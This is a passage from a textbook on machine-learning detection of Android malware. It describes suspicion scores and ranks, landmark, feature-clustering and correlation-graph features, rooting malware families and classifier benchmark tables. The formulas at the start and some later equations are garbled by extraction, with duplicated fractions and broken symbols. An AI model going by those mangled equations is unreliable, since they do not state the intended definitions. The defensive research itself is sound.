i=1 f(bi, aj)

3∑
aj

∑n
i=1 f(bi, aj)3∑n

i=1 f(bi, aj)
3∑

aj
∑n

i=1 f(bi, aj)3
+

∑m
i=1 f(gi, aj)

3∑
aj

∑m
i=1 f(gi, aj)3

sus11(aj) =

∑n
i=1

√
f(bi, aj)∑

aj
∑n

i=1

√
f(bi, aj)∑n

i=1

√
f(bi, aj)∑

aj
∑n

i=1

√
f(bi, aj)

+

∑m
i=1

√
f(gi, aj)∑

aj
∑m

i=1

√
f(gi, aj)

sus12(aj) =

∑n
i=1 ln (f(bi, aj) + 1)∑

aj
∑n

i=1 ln (f(bi, aj) + 1)∑n
i=1 ln (f(bi, aj) + 1)∑

aj
∑n

i=1 ln (f(bi, aj) + 1)
+

∑m
i=1 ln (f(gi, aj) + 1)∑

aj
∑m

i=1 ln (f(gi, aj) + 1)

These suspicion score functions all make use of an indicator function I(v1, v2)
to denote the existence of an edge from vertex v1 to v2, where v1, v2 ∈ A ∪
G ∪ M. In other words, if it is the case that f(v1, v2) is greater than 0, then
I(v1, v2) equals 1; otherwise, it is 0. (In fact, we could treat the I(v, a) func
tion for edges from apps to API packages as another kind of weight func
tion.) We use n to denote the number of malware samples and m to denote
the number of goodware samples.

For example, according to the first function, sus1, if the API package aj
is called by 100 malicious apps b and 10 goodware apps g from our samples,
we reasonably consider apps that invoke this API package to be more suspi
cious than ones that do not. The definition in sus7 is another way of captur
ing the same intuition: that an API function that is more extensively called
by malicious apps than by benign ones will have a higher suspicion score.
Equations sus7 through sus12 make similar assumptions to sus1 through sus6
except that they evaluate the suspicion score of one API package with re
spect to all API packages rather than by itself.

The Suspicion Rank
Suspicion scores label a single Android API package call by looking at how
malware and goodware each call that package. However, a package might
itself make calls to other packages within the Android API. If a package P1
makes lots of calls to another package Q that has a high suspicion score,
we should rank the first package as more suspicious than a package P2 that
makes no calls to packages that have a high suspicion score.

The situation is a bit like an individual making lots of calls to a drug
dealer. Even if the individual isn’t deemed suspicious in their own right, the
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fact that they’re in regular contact with a drug dealer makes them so. This is
precisely the intuition behind Google Search’s famous PageRank algorithm,
which captures the importance of a web page by considering the importance
of the web pages that link to it.

In fact, we can combine our suspicion scores with PageRank to
define a family of suspicion ranking functions that capture these intu
itions. PageRank calculates the importance of web pages using the follow
ing formula:

PR(v) =
1 – d
N

+ d ×
∑

(u,v)∈E

PR(u)out(u)

Here, E is the set of edges in the web; N is the total number of nodes, or ver
tices, in the web; d ∈ [0, 1], called the damping factor, is usually set to 0.85;
and out(u) is the outdegree of node u, or the number of edges that leave it.
The 1–d

N expression captures the probability that a user will reach web page v
by explicitly entering its address into a browser, while the remaining part of
the expression is intended to capture the probability of a user reaching page
v by following links.

In the following, we define the suspicion rank for an Android API
package a with respect to a fixed suspicion scoring function, sus. We could
use any of the functions described earlier in this chapter, or an entirely new
one, as long as it associates a suspicion score with each function in the
Android API:

SRsus(a) =
1 – δ

|A|
+ δ ×

∑
a′∈A,(a′,a)∈E

sus(a′) × SRsus(a′)
out(a′)

The parameter δ ∈ [0, 1] is a damping factor similar to PageRank’s d. In
practice, we set it to 0.85, as is usually done with PageRank. The value a′ is
any package invoked by the package a, and the out(a′) value is the outdegree
of the node in the TSG corresponding to a′. In other words, it represents
the number of API packages invoked by a′.

Readers might have noticed that the definition of the suspicion rank
mainly relies on a small portion of the TSG—namely, the vertices represent
ing API packages and the edges between them. As a result, this structure is
independent of the choice of apps in the goodware and malware sets, and
adversaries can’t manipulate it, because it (that is, the Android API) is pub
licly disclosed in the Android code and documentation. This approach dif
fers from the function call graphs described in previous works, which usually
depend on the sequence of operations within specific individual apps and
so lack randomness, a key element in keeping malware developers guess
ing. We list some of these alternative approaches in “Further Reading” on
page 202.

TSG Features
The preceding two sections define ways to calculate suspicion scores and
suspicion ranks for API packages in a given TSG. In total, we have 24 kinds
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of suspicionbased scores associated with each API package. Researchers can
add new ones if they wish. Next, we must use these suspicionbased scores to
generate what we call TSG features for Android apps. These features capture
the package call behavior of all apps, meaning an app doesn’t have to be in
either the malware or the goodware sample set to have TSG features.

To generate these features, we first rank the API packages in descending
order according to their suspicion score and suspicion rank results. Theo
retically, the higher the rank of an API package, the more suspicious it is.
However, we will have noise, perhaps stemming from the choice of sample
applications. Therefore, instead of directly using the ranked package list, we
apply a windowbased segmentation to it before deriving TSG features.

The basic idea of windowbased segmentation is to use an integerW that
is greater than 1 to segment the list into a number of buckets, starting from
the beginning of the list. As shown in Figure 62, each bucket (except pos
sibly the last one) containsW API packages with similar suspicionbased
scores or ranks.

API packages with SUS/SR in descending order

a
1

a
W

a
2W

Bucket 2Bucket 1

a
2W +1

a
W +1... ... ... ...

......

Figure 6-2: A window-based API package ranking by descending suspicion scores and
ranks

Suppose API packages a1 through aW are in the same bucket, and sup
pose that the corresponding API feature values of an app are f1 through fW.
For each bucket, we can calculate a TSG feature via one of the following six
methods:

Binary value Does this app call any API packages in this bucket? If so,
this binary feature is 1; otherwise, it is 0.

Number of API packages How many API packages in this bucket does
the app call? The feature value is an integer

∑W
j=1 I(fj), where the func

tion I(fj) = 1 is fj > 0; otherwise, it equals 0.

Maximum frequency value Of the call frequencies from the app to all
API packages in the bucket, what is the maximum value? The feature
value is an integer maxWj=1 fj.

Median frequency value Among the call frequencies, what is the
median value? The feature value is an integer medianWj=1fj.

Sum of frequencies How many times in total does this app call API
packages in this bucket? The feature value is an integer

∑W
j=1 fj.

Weighted sum Based on the frequency sum, what would the value be
if we took the suspicion score given by function ρ as the corresponding
weight? This feature is a real value

∑W
j=1 ρjfj, where ρj stands for the sus

picion score of API package aj.
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To illustrate how these features work, consider the small dataset with
three banking trojans and three goodware samples we showed earlier in this
chapter. Suppose Table 61 shows the frequency with which the malware
sample Regon calls the four API packages.

Table 6-1: Frequency of API Package Calls by Regon
android.view java.net android.app.admin java.util

Frequency 35 0 1 112

If we use sus1 as our suspicion scoring function, we could sort the
packages based on their suspicion scores, in descending order, as shown
in Table 62.

Table 6-2: Suspicion Scores of the Packages Called by Regon
android.app.admin android.view java.util java.net

Suspicion score 1 0.5 0.5 0.25

Suppose we now useW = 2 as the window size. In this case, there are
two buckets, the first containing android.app.admin and android.view and
the second containing java.util and java.net. We derive the following feature
values for Regon from the first bucket: a binary value of 1, an API package
number of 2, a sum of frequencies of 36, a maximum frequency value of 35,
a median frequency value of 18, and a weighted sum of 1 × 1 + 0.5 × 35,
or 18.5. The values of the features generated by the second bucket are 1, 1,
112, 112, 56, and 56, respectively.

Now suppose we repeat this process using both the suspicion scoring
function sus1 and the suspicion ranking formula. Table 63 shows the result
ing suspicion ranks after sorting.

Table 6-3: Suspicion Ranks for the Packages Called by Regon
java.util java.net android.view android.app.admin

Suspicion rank 0.1025 0.0811 0.0375 0.0375

These suspicion ranks generate the following feature values for Regon
from the first bucket: a binary value of 1, an API package number of 1, a
sum of frequencies of 112, a maximum frequency of 112, a median frequency
of 56, and a weighted sum of 0.1025×112+0.0811×0, or 11.48. For the API
calls in the second bucket, Regon has corresponding feature values 1, 2, 36,
35, 18, and 1.35.
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In this example, we generated TSG features for Regon based on a subset
of Android API packages and a part of the complete TSG. In a real imple
mentation, however, we might use all 171 API packages, 24 different suspi
cion scoring functions, and 6 methods for computing TSG features for each
function. As a result, if we use aW of 10, we could generate 2,592 TSG fea
tures for each app.

In addition, because we control theW parameter, we can vary it in sev
eral ways. For instance, if we have four API packages with the suspicion
scores 0.9, 0.3, 0.29, and 0.2, we could divide them into two evenly sized
buckets, (0.9, 0.3) and (0.29, 0.2). Alternatively, we could group similar scores
together by using a variable window size to segment them into two buck
ets, (0.9) and (0.3, 0.29, 0.2). Using window size in this way has an advan
tage: it introduces yet another complication for the adversary. If an attacker
changed the number of calls made in a piece of malware to classes in one or
two Android API packages, it wouldn’t have a huge impact on how features
were derived, because packages that have similar features would be merged,
reducing the effects of any single feature. This varying window size could
have the potential negative effect of lowering the predictive performance of
the resulting classifiers, but it turns out, as subsequent chapters will show,
that this is not a major problem.

To read more about the experiments that demonstrate the difficulty
of bypassing these features, see “DBank: Predictive Behavioral Analysis of
Recent Android Banking Trojans” by Chongyang Bai et al. and “Android
Malware Detection via (Somewhat) Robust Irreversible Feature Transforma
tions” by Qian Han et al.

Landmark-Based Features
Another way to generate features for Android apps that attackers can’t eas
ily evade relies on the concept of landmarks. Suppose you are considering
buying a house. Your estimate of a fair price for the house will likely depend
upon several factors, one of which might be the sales prices of certain other
houses (for example, those of a similar size and age in the same area). We
call these reference houses landmarks.

We can adopt the idea of using landmarks to define a new feature space
for Android apps. Say there is a set of Android apps that includes both be
nign and malicious apps, and that each app has some feature vector. We
can think of that feature vector as a point in the app feature space, just as we
could characterize a house as a point in a housing feature space. When con
sidering buying a house, we compare the house with similar houses; we can
do the same with apps when trying to determine whether they are malicious
or benign.

Selecting Landmarks
To use the landmark approach, we first select a subset of the app samples
and set them as landmarks. Then we define new features for each app in
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the dataset by comparing them with each landmark. We suggest keeping the
size of the landmark set reasonably small. For example, if there are 1 million
samples in the total set of apps, we might select 1,000 landmarks. That way,
adversaries will have trouble guessing the selected landmarks, making it even
harder to guess the landmarkbased features.

We propose three methods for selecting the set of landmarks from the
sample set. The first, a naive approach, is to randomly select them. Another
method is clusteringbased selection, in which the apps are first clustered into
groups. There are many wellstudied algorithms for clustering, such as
kmeans clustering, kmedian clustering, mean shift clustering, density
based spatial clustering of applications with noise (DBSCAN), expectation
maximization clustering using Gaussian mixture models, and agglomerative
hierarchical clustering. Each clustering algorithm has its own advantages
and disadvantages. They may also perform differently due to the characteris
tics of the dataset.

With this approach, after clustering the apps into groups, we select one
app from each group as a landmark. The basic idea is that when we group
all the apps into clusters, similar apps end up in the same cluster; we can
then pick one representative app from each of the clusters. Returning to our
housing analogy, the houses in a cluster might have similar neighborhoods,
local schools, square footages, prices, and numbers of bedrooms. When
deciding whether a house is good or not, we might use one representative
from each cluster as a landmark. Once we have our clusters, we can select a
representative from each group in many ways. For instance, we could ran
domly select an app from the cluster. Alternatively, we could compute the
sum of the distances of each app in the cluster to each of the other apps in
the cluster, then use the app that has the smallest sum—the most “central”
app in the cluster—as the landmark. (The distance between two apps can be
calculated by finding the distance between their feature vectors, using a met
ric such as Euclidean distance or cosine distance.)

Because there are at least 6 clustering algorithms we can use and at
least 2 ways of selecting a landmark app from each cluster, there are at least
12 ways of performing clusteringbased landmark selection, even when dis
regarding the variability in hyperparameters that some of the clustering
techniques use internally. In fact, there are many more ways of performing
clusteringbased landmark, e.g. by varying k in the kmeans clustering and
kmedian clustering algorithms.

The third method, maximum distance heuristic selection, provides an al
gorithm for selecting landmarks that are scattered across the basic feature
space. As input, it accepts the set of apps D and the number of landmarks
NL to select, as well as a distance function d used to evaluate the distance
between two app samples based on their feature vectors. We might, for ex
ample, use wellknown distance functions such as Euclidean distance, Man
hattan distance, cosine distance, or Hamming distance. The algorithm is as
follows:
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The MaxDistance Heuristic Selection Algorithm

1. Randomly select an app from D and add it to the landmark set L′.

2. If |L′| < NL, draw a random set of apps, R, from D – L′.

3. Choose the best landmark from R using one of the following
methods:

arg max
r∈R

∑
ℓ∈L′

d(ℓ, r)

arg max
r∈R

min
ℓ∈L′

d(ℓ, r)

arg max
r∈R

medianℓ∈L′d(ℓ, r)

4. Add the selected landmark to L′.

5. When |L′| = NL, use L′ as the set of landmarks L.

It starts by randomly choosing an app from D as a landmark and adding
it to the current set of selected landmarks, L′ (step 1). It then iteratively adds
more landmarks (steps 2 through 4). In each iteration, it randomly draws a
set of apps from D – L′ (step 2), and then selects the app that is farthest away
from the current set of landmarks in L′ (step 3).

The distance can be calculated in various ways. For instance, suppose in
a given iteration of the algorithm we have 3 landmarks, ℓ1, ℓ2, ℓ3, and sup
pose D – L′ contains 100 landmarks, ℓ′

1, ℓ
′
2, . . . , ℓ′

100. In this case, any one
of the 100 landmarks may be added into L′ as a fourth landmark. We could
choose to add the landmark ℓ′

j that maximizes the distance from the candi
date fourth landmark in D – L′ to the previously selected landmarks in L′,
or in other words maximizes the sum Σ3

i=1d(ℓi, ℓ
′
j). Alternatively, we could

choose the fourth landmark to be the one in D –L′ that maximizes either the
mean distance or the median distance to the previously chosen landmarks
ℓ1, ℓ2, ℓ3, for example by choosing ℓj = argmaxℓ′

i
mean({d(ℓ′

i, ℓ1), d(ℓ
′
i, ℓ2),

d(ℓ′
i, ℓ3)}). d in this algorithm is a distance function. We let d(ℓ, r) denote

the distance between the feature vectors of two apps, ℓ and r. This step en
sures that the landmark selected is sufficiently far away from the previously
selected landmarks to ensure some diversity among the landmark set.

The process ends when NL landmarks have been picked (step 5). As
there are 4 distance functions and 3 possible definitions of farthest distance,
we can apply this landmark selection method in at least 12 ways.

Between the three landmark selection methods we’ve described, there
are numerous ways to select the set L of landmarks from the set D for each
NL value. However, to further confound potential adversaries, we suggest
that security officers periodically use a new set of landmarks, modify the
landmark selection method, or both, and then recompute landmarkbased
features. By doing this once every week or two, you’ll keep any adversaries
guessing and mount a moving target defense.
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Computing Landmark-Based Features
Once we’ve selected landmarks, we use them to compute landmarkbased
features for each app sample i in set D. Here is the algorithm for generating
landmarkbased features:

The LandmarkBased Feature Generation Algorithm

1. Generate the set of landmarks L using S.

2. For each landmark ℓ ∈ in each sample app i ∈ D, compute d(i, ℓ).

3. Compute the features as follows:

f⃗ lmi = {d(i, ℓ)}ℓ∈L

As input, we use the set D of Android apps with their associated fea
ture vectors F = {⃗fi}i, the number NL of landmarks to select, the landmark
selection method S (and its parameters, if applicable), and the distance
function d(·).

We generate the set L of landmarks using S (step 1). Next, we iteratively
compute the landmark feature vectors for each sample app i (steps 2 and 3).
This process begins by computing the distance d(i, ℓ) of the sample i to each
ℓ ∈ , then constructing an NL–dimensional landmarkbased feature vector by
using those distances. In other words, the first element in this vector is the
distance between app i and the first landmark, the second element in this
vector is the distance between app i and the second landmark, and so forth.

Figure 63 is a simple illustration of landmark features. It assumes that
there are six samples in our set D (in practice, this number would be much
larger), each with a fourdimensional API feature vector.

Regon

Marcher
Fakebank

Perfect Girls

Landmark 1

Landmark 2

Iberia
Perseo

Azerbaijan
Radio World

3551.33

4222.18

2
9
0
3
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.1
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3 1241.43

1684.15
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7.

93

Figure 6-3: Landmark-based features with six apps, two landmarks, and the Euclidean
distance function

Suppose we use the random landmark generation method to select two
of the six samples, Perfect Girls and Marcher, as landmarks. We then gen
erate landmark features using the Euclidean distance function. Here, you
can see the Euclidean distance from each sample app i to each landmark.
The landmarkbased feature vector for, say, Regon is then (3551.33, 677.93),
while that for Perfect Girls is (0, 2903.66).
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Feature Clustering
Some of the features we generate might have similar relationships to the
label we’re attempting to predict. When this happens, we can combine those
features to create a smaller, but perhaps more representative, set of new fea
tures. The approach, called feature clustering, first groups a set of basic fea
tures into a number of categories and then derives aggregated features from
each category. We call these new features FC features. You can read more
about this approach in “Android Malware Detection via (Somewhat) Robust
Irreversible Feature Transformations” by Qian Han et al.

Generating Feature Clusters
We use the following algorithm to get FC features:

The FC Feature Generation Algorithm

1. Take a subset of samples D′ from D.

2. Get the feature matrix F′ for samples in D′.

3. Using Clu, cluster the n basic features into G groups according to
column vectors {fij}i′ in F′.

4. For each feature group Fg in each sample app i, associate a value
with the group:

f fcig = ⊕{fij | j ∈ Fg}

5. Perform this calculation for each sample app:

f⃗ fci = (f fci1, . . . , f fciG)

As input, it takes the set D of all sample Android apps and each of their
n–dimensional basic feature vectors; the number G of clusters in which to di
vide the n features; the clustering algorithm used, Clu; and ⊕, the algorithm
to aggregate features within one group. We can use any subset or all of the
basic static and dynamic analysis features we’ve presented, as well as features
defined by other researchers.

We extract a subset D′ of sample apps from D (step 1) and use their fea
ture values (step 2) to cluster the n features into G groups (step 3). We use a
subset of D, not D itself, for three reasons: first, the dataset might be huge,
and clustering the whole thing could be very expensive; second, by using a
subset of samples for clustering, we make it harder for an adversary to de
termine how the feature clustering works; and third, when the set D is ex
tended with the addition of more apps, we can compute the FC features
of the new apps without having to rerun the algorithm and recluster basic
features. Moreover, as in the case of TSGs, we can periodically update the
sample used and recompute the feature clusters to keep adversaries guessing
about the nature of the defenses used.

Once we’ve clustered the features, we take any app and use ⊕ to asso
ciate a single value with each cluster of features (step 4). That value could be
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a sum, a minimum, or a maximum of the values of the features within that
cluster, or it could be a statistical quantity derived from the set, such as the
median, standard deviation, variance, or entropy. We perform this action
for all clusters in every app in D (step 5).

Choosing Clustering and Feature Aggregation Algorithms
We can invoke the feature clustering algorithm with many possible clus
tering and feature aggregation methods. For the clustering algorithm, we
might use any of the six methods we mentioned in our discussion of
landmarkbased features or an entirely different algorithm. We can also
choose from numerous possibilities for the feature aggregation algorithm,
⊕. Here are some options:

Product We compute the new feature as the product of elements in
the set.

Mean We use the mean value of the set of values as the new feature
value.

Median We use the median value of the set of values as the new fea
ture value.

Sum We compute the new feature as the sum of elements in the set.

Weighted sum We compute the new feature value as the weighted
sum of elements in the set. The weight of feature j is inversely propor
tional to the distance between the feature’s vector and the centroid
feature value of the group jc’s vector {fijc}i′ , which we denote as d(j, jc).
Thus, we compute the feature value as follows, where α is a parameter
for normalization:

f fcig = α
∑
j∈Fg

fij × e–d(j,jc)

We usually select a cluster size G that is significantly smaller than the
total number of features so that this number decreases dramatically. For
instance, if the basic feature vector had 100 elements, we might set G to 8.
Figure 64 illustrates an example of feature clustering that uses sample apps
and fourdimensional API features.
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Figure 6-4: A feature clustering example with two groups, four-dimensional
basic API features, and averaging feature aggregation
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In this example, we cluster the four apps into two groups and use the
mean approach for ⊕. We obtain the FC features for each app shown in the
table on the right.

While highly representative, FC features are hard for adversaries to
guess, since generating them requires security analysts to make several
choices that inject considerable uncertainty into the process and are diffi
cult to reverse engineer. These choices include the subset of sample apps to
use, the number of clusters to generate, the clustering method and its hyper
parameters, and the aggregation operator ⊕ (along with its hyperparame
ters, when ⊕ calculates a weighted sum).

Correlation Graph–Based Feature Transformation
Another way to reduce the number of features is to use correlation graphs,
which generate what we call CG features. This approach involves creating a
fully connected graph with features as its vertices, then using concepts from
social network analysis to divide these features into communities. As each
community consists of similar features, we can associate one CG feature
with each.

We use the following algorithm to perform correlation graph–based
feature transformation:

The CG Feature Generation Algorithm

1. Take a subset D′ of samples from D.

2. Get the feature matrix F′ for samples in D′.

3. Compute the n × n edge weights of the correlation graph according
to the column vectors of F′.

4. Get G communities with the n basic features according to the corre
lation graph and the community detection algorithm.

5. For each feature community Cg in each sample app i, apply the
aggregation operator:

f cgig = ⊕{fij | j ∈g}

6. For each sample app i, calculate its CG feature vector:

f⃗ cgi = (f cgi1 , . . . , f cgiG)

As input, it takes the set of apps D, the feature matrix F of those apps,
a community detection algorithm C, the desired number of communities
G, and an associative and commutative operator ⊕. It outputs a correlation
graph with Gdimensional feature vectors for sample apps in D.

We begin by selecting a subset D’ of sample apps from D (step 1) and
retrieving their feature matrix F’ (step 2), just as we did when calculating
FC features. We then compute the correlation between each pair of features
using the Pearson correlation coefficient (step 3). This value becomes the
weight of the edge between each pair of features in the correlation graph.
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Next, we apply the community detection algorithm C (step 4) to produce G
communities. Finally, we generate the CG features for each app D using the
features in each community and the associative and commutative feature
aggregation operator ⊕ (steps 5 and 6).

We can define ⊕ in the same five ways as for feature clustering. In ad
dition, we can select many possible community detection algorithms C, in
cluding the minimum cut method, the Girvan–Newman algorithm, modu
larity maximization, statistical interference, and cliquebased methods. You
can read more about these algorithms in the resources listed in the “Further
Reading” section.

Figure 65 shows an example of generating correlation graph–based fea
tures. Suppose we want to group four API features into two communities, as
shown on the left side of the figure. On the right side, you can see the CG
features for each sample app created using the averaging feature aggrega
tion method.
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Figure 6-5: Generating CG features with two communities and the
averaging feature aggregation method

As with feature clustering, the use of CG features injects a great deal
of uncertainty for any adversary attempting to reproduce the CG features.
The CG feature generation process consists of many different choices that
may end up yielding big differences in the final feature values. Adversaries
will therefore have considerable difficulty in determining its realworld
implementation.

Further Reading
This section lists resources you can use to further explore the topics intro
duced in this chapter.

To learn more about APIbased features like the ones introduced in this
chapter, see “DroidAPIMiner: Mining APILevel Features for Robust Mal
ware Detection in Android” by Yousra Aafer et al. and “Machine Learning
for Android Malware Detection Using Permission and API Calls” by Naser
Peiravian and Xingquan Zhu.

To read about TSG features, consult the paper that introduced them,
“DBank: Predictive Behavioral Analysis of Recent Android Banking Tro
jans” by Chongyang Bai et al. In addition, we mentioned that TSGs are an
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alternative to the many kinds of function call graphs used in other malware
detection techniques:

• Dependency graphs, introduced in “SemanticsAware Android Mal
ware Classification Using Weighted Contextual API Dependency
Graphs” by Mu Zhang et al.

• Controlflow graphs, introduced in “FlowDroid: Precise Context,
Flow, Field, ObjectSensitive and LifecycleAware Taint Analysis for
Android Apps” by Steven Arzt et al. and “MaMaDroid: Detecting
Android Malware by Building Markov Chains of Behavioral Models”
by Enrico Mariconti et al.

• Codeproperty graphs, introduced in “Modeling and Discovering
Vulnerabilities with Code Property Graphs” by Fabian Yamaguchi
et al.

Generating the CG features introduced in this chapter requires the use
of a community detection algorithm. There are many ways of defining such
an algorithm:

• The minimum cut method, described in “Odd Minimum CutSets
and bMatchings” by Manfred W. Padberg and M. Ram Rao

• Hierarchical clustering, described in “Hierarchical Clustering
Schemes” by Stephen C. Johnson

• The Girvan–Newman algorithm, described in “Community Struc
ture in Networks: Girvan–Newman Algorithm Improvement” by
Ljiljana Despalatović et al.

• Modularity maximization, described in “Community Detection
via Maximization of Modularity and Its Variants” by Mingming
Chen et al.

• Statistical inference, described in Kate Calder’s Statistical Inference
(Holt, 1953)

• Cliquebased methods, described in “A Maximal Clique Based
Multiobjective Evolutionary Algorithm for Overlapping Com
munity Detection” by Xuyun Wen et al.

Up Next
Whenever antivirus products detect a piece of malware, the malware’s de
velopers modify it in order to evade detection. By now, malware developers
understand that antivirus companies are increasingly using machine learn
ing. They’re also well aware of the types of basic features used to detect their
malware and have become adept at modifying their code to change these
features to escape detection.

In this chapter, we described how to use the manual processes of static
and dynamic analysis introduced in Chapters 3 and 4 to define features that
machine learning algorithms can use. We then discussed two broad classes
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of techniques that can make life harder for malware developers. The first,
based on the notion of a triadic suspicion graph, was initially used to detect
Android banking trojans but can in fact be used to detect any form of mal
ware. The second transforms the original features of Android apps into a
new set of features of a different size. We described three such methods in
this chapter: landmarkbased transformations, feature clustering, and cor
relation graph–based feature transformation, all of which are resilient to re
verse engineering.

However, no method is perfect at confounding hackers. To further frus
trate malware developers, the techniques introduced in this chapter include
layers of randomization. In addition, we recommend that organizations
change their machine learning–based malware detection settings frequently,
just as all users should change their passwords frequently. For instance, in
the case of TSGs, defenders could update the malware and goodware sam
ples used to generate their features and modify other parameters, such as
the window size, every week. In the case of landmarkbased features, defend
ers could periodically modify the number and identities of their landmarks.
These modifications impose a relatively small cost on enterprise security
officers but can reap substantial benefits.

In the next chapter, we’ll apply what you’ve learned so far about
machine learning algorithms and features to look at one important class
of malware: rooting malware. This type of malware attempts to acquire
root privileges on the user’s device, and once it has done so, it can be hard
to dislodge. As a consequence, it’s essential to find characteristics of rooting
malware that distinguish it from goodware.
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7
ROOT ING MALWARE

Malware developers often seek ways of
elevating their apps’ privileges to gain root

access, which requires a privilege escalation
exploit of some sort. Once operating as root,

malware can use app and system resources to perform
operations such as installing systemlevel applications,
accessing other apps’ protected files, and modifying
filesystem permissions to allow other malicious apps
to view sensitive data.

We covered multiple examples of rooting malware in Chapter 2. In
this chapter, we’ll first discuss some wellknown rooting malware families
we haven’t yet explored. Then we’ll examine the performance of different
machine learning techniques used to separate rooting malware from good
ware, as well as from other forms of Android malware, and the key features
used to do so. Though we’ll use the Rootnik rooting malware as an exam
ple throughout the chapter, we’ll also apply the detection techniques to the
DroidDream malware.



Rooting Malware Families
To the best of our knowledge, ZNIU was the first rooting malware to lever
age the Dirty COW (copyonwrite) vulnerability, which allows privilege
escalation in the Linux kernel. According to Trend Micro’s blog post “ZNIU:
First Android Malware to Exploit Dirty COW,” it was distributed via over
1,200 apps and through infected websites. Once the app was installed on
a device, it reached out to a commandandcontrol server and engaged in
transactions with the compromised device’s mobile carrier through an SMS
enabled payment service, incurring charges to a company located in China.
ZNIU used root privileges to circumvent Android’s default workflow, which
requires user consent to grant an app SMSrelated permissions. Some ver
sions of ZNIU leveraged exploits other than Dirty COW, such as Iovyroot,
which targets a Linux kernel vulnerability, or various exploits from the
KingoRoot rooting app.

In 2017, researchers at Kaspersky Lab discovered Dvmap. Its authors
first uploaded a benign app to Google Play and later updated it to a mali
cious version, a behavior common in malware because it helps the app build
a user base without raising suspicion. The authors would make the mali
cious version available for short periods and then replace it with a benign
version.

Dvmap was the first rooting malware sample known to use code injec
tion techniques. It would substitute the executable file /system/bin/ip with a
completely new file that contained malicious functionality, then inject code
to execute the new file into two system libraries associated with Android’s
Dalvik and ART runtimes, ensuring that it would run with elevated privi
leges. Replacing the file, and the subsequent code injection into the system
libraries, required using a privilege escalation exploit. You can read more
about this malware in the Kaspersky blog post “Dvmap: Android Malware
with a New Technique for Controlling Devices Appears on Google Play.”

In September 2017, the Android Security team discovered Tizi, which
roots devices, mostly in Africa, to carry out spyware operations by leverag
ing a number of vulnerabilities discovered in 2012 and 2013. Once it has
obtained root privileges, Tizi uses this access to record calls on encrypted
services such as WhatsApp, Skype, and Viber and monitor social media activ
ity on Facebook, X, LinkedIn, and Telegram. You can read more about this
malware in an Android Security team blog post titled “Tizi: Detecting and
Blocking Socially Engineered Spyware on Android.”

Testing Classifier Performance
To evaluate how well machine learning classifiers can distinguish rooting
malware from goodware, we tested 10 classifiers by feeding them various
sets of features, as shown in Table 71.
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Table 7-1: Classifier Performance—Rooting Malware vs. Goodware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package GBDT 0.9939 0.9324 0.9009 0.9164 0.0676 0.0146
Static (S) XGBoost 0.9811 0.8658 0.7783 0.8197 0.1342 0.0296
Dynamic (D) RF 0.9065 0.8735 0.5271 0.6575 0.1265 0.0608
S + D XGBoost 0.9848 0.8889 0.8079 0.8465 0.1111 0.0257
API + S + D XGBoost 0.9974 0.9564 0.9187 0.9372 0.0436 0.0109
TSG XGBoost 0.9927 0.9018 0.8896 0.8957 0.0982 0.0163
LM XGBoost 0.9791 0.8375 0.7488 0.7906 0.1625 0.0335
FC XGBoost 0.9729 0.8507 0.7438 0.7937 0.1493 0.0341
CG RF 0.9571 0.8349 0.6724 0.7449 0.1651 0.0432
API + S + D + TSG XGBoost 0.9970 0.9337 0.9015 0.9173 0.0663 0.0133
API + S + D + LM XGBoost 0.9972 0.9514 0.9163 0.9335 0.0486 0.0113
API + S + D + FC XGBoost 0.9972 0.9540 0.9187 0.9360 0.0460 0.0110
API + S + D + CG XGBoost 0.9971 0.9580 0.8990 0.9276 0.0420 0.0136
All features XGBoost 0.9970 0.9482 0.9015 0.9242 0.0518 0.0133
Best late fusion XGBoost 0.9994 0.9854 0.9828 0.9840 0.0146 0.0023

We first used a set of basic features derived from API packages, static
analysis, and dynamic analysis (API, S, and D), as well as two combinations
of these (S + D and API + S + D). The “Best classifier” column records the
classifier with the best F1 score. As you can see, gradientboosted decision
tree (GDBT), XGBoost, and random forest (RF) classifiers perform best.

The table lists several performance metrics, all of which were introduced
in Chapter 5: AUC, precision, recall, F1 score, false positive rate (FPR), and
false negative rate (FNR). The F1 score is the most important of these, as
it balances precision and recall. You can see that using API features alone
already achieves a high F1 score (0.9164), outperforming the use of static
features, dynamic features, or a combinations of these. Combining static,
dynamic, and API features further improves the F1 score to 0.9372.

For the advanced features, we tested triadic suspicion graph–based fea
tures, landmarkbased features, feature clustering features, and correlation
graph–based features (TSG, LM, FC, and CG). We also combined each of
these with the basic features. The results show that using just one kind of
advanced feature achieves an F1 score ranging from 0.7449 to 0.8957, with
TSG ranked the highest. When we add the basic features to the advanced
features, performance significantly improves, with the best F1 score achieved
by combining FC features with the basic features.

Lastly, we combined all of the features using two methods: inputting all
of them to each classifier and using late fusion to combine the predictions
of seven classifiers, each using one kind of feature. Late fusion is a classifica
tion technique that combines the predictions made by multiple classifiers.
Suppose, for instance, that we used three different classifiers to predict the
probability that a given app is malicious. These three classifiers would each
return a probability, p1, p2, and p3, respectively. Late fusion tries to find
weights w1, w2, and w3 such that when their sum is greater than 0.5, the
likelihood of the app being malicious is as high as possible. As the last two
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rows in Table 71 show, the best late fusion result outperforms all other
methods, with an F1 score of 0.9840.

We also tested the ability of each classifier to distinguish rooting mal
ware from other kinds of malware. This ability can be advantageous; for in
stance, if a machine learning classifier flags an app as rooting malware, you
can send it to a rooting malware specialist for analysis. You can see the in
puts and their performance in Table 72.

Table 7-2: Classifier Performance—Rooting Malware vs. Other Malware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package RF 0.9801 0.9669 0.7883 0.8685 0.0331 0.0435
Static (S) XGBoost 0.9530 0.7890 0.6724 0.7261 0.2110 0.0621
Dynamic (D) RF 0.8686 0.8444 0.4680 0.6022 0.1556 0.0955
S + D RF 0.9610 0.9085 0.6847 0.7809 0.0915 0.0587
API + S + D XGBoost 0.9898 0.9472 0.8842 0.9146 0.0528 0.0223
TSG RF 0.9717 0.9358 0.7883 0.8557 0.0642 0.0437
LM XGBoost 0.9466 0.7922 0.6010 0.6835 0.2078 0.0743
FC RF 0.9139 0.8796 0.5936 0.7088 0.1204 0.0746
CG RF 0.8452 0.7093 0.5049 0.5899 0.2907 0.0914
API + S + D + TSG XGBoost 0.9896 0.9395 0.8793 0.9084 0.0605 0.0233
API + S + D + LM XGBoost 0.9897 0.9395 0.8793 0.9084 0.0605 0.0233
API + S + D + FC XGBoost 0.9898 0.9446 0.8818 0.9121 0.0554 0.0228
API + S + D + CG XGBoost 0.9896 0.9523 0.8842 0.9170 0.0477 0.0223
All features XGBoost 0.9893 0.9333 0.8966 0.9146 0.0667 0.0200
